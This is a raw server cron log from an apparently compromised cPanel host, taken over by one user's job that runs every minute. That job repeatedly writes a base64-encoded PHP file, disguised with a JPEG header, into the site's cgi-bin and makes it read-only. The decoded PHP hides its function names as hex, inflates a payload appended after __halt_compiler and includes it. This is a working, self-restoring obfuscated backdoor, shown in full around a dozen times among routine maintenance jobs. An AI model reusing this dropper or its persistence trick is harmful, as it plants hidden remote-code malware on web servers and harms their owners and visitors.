Aug 31 07:01:01 server CROND[10731]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 07:01:01 server CROND[10733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:01:01 server run-parts(/etc/cron.hourly)[10731]: starting 0anacron
Aug 31 07:01:01 server run-parts(/etc/cron.hourly)[10751]: finished 0anacron
Aug 31 07:02:01 server CROND[11216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:02:01 server CROND[11217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:02:01 server CROND[11219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:03:01 server CROND[11602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:03:01 server CROND[11603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:03:01 server CROND[11604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:04:01 server CROND[11986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:04:01 server CROND[11987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:04:01 server CROND[11994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:05:01 server CROND[12418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:05:01 server CROND[12420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:05:01 server CROND[12421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:05:01 server CROND[12428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:05:01 server CROND[12433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:05:01 server CROND[12434]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:05:01 server CROND[12431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:05:01 server CROND[12432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:06:01 server CROND[13267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:06:01 server CROND[13268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:06:01 server CROND[13269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:07:01 server CROND[13748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:07:01 server CROND[13749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:07:01 server CROND[13750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:08:01 server CROND[14168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:08:01 server CROND[14169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:08:01 server CROND[14171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:09:01 server CROND[14552]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 07:09:01 server CROND[14551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:09:01 server CROND[14553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:09:01 server CROND[14554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:10:01 server CROND[14957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:10:01 server CROND[14960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:10:01 server CROND[14961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:10:01 server CROND[14967]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:10:01 server CROND[14965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:10:01 server CROND[14966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:10:01 server CROND[14968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:10:01 server CROND[14964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:11:02 server CROND[15837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:11:02 server CROND[15838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:11:02 server CROND[15839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:12:01 server CROND[16213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:12:01 server CROND[16215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:12:01 server CROND[16214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:12:01 server CROND[16216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:13:01 server CROND[16689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:13:01 server CROND[16690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:13:01 server CROND[16691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
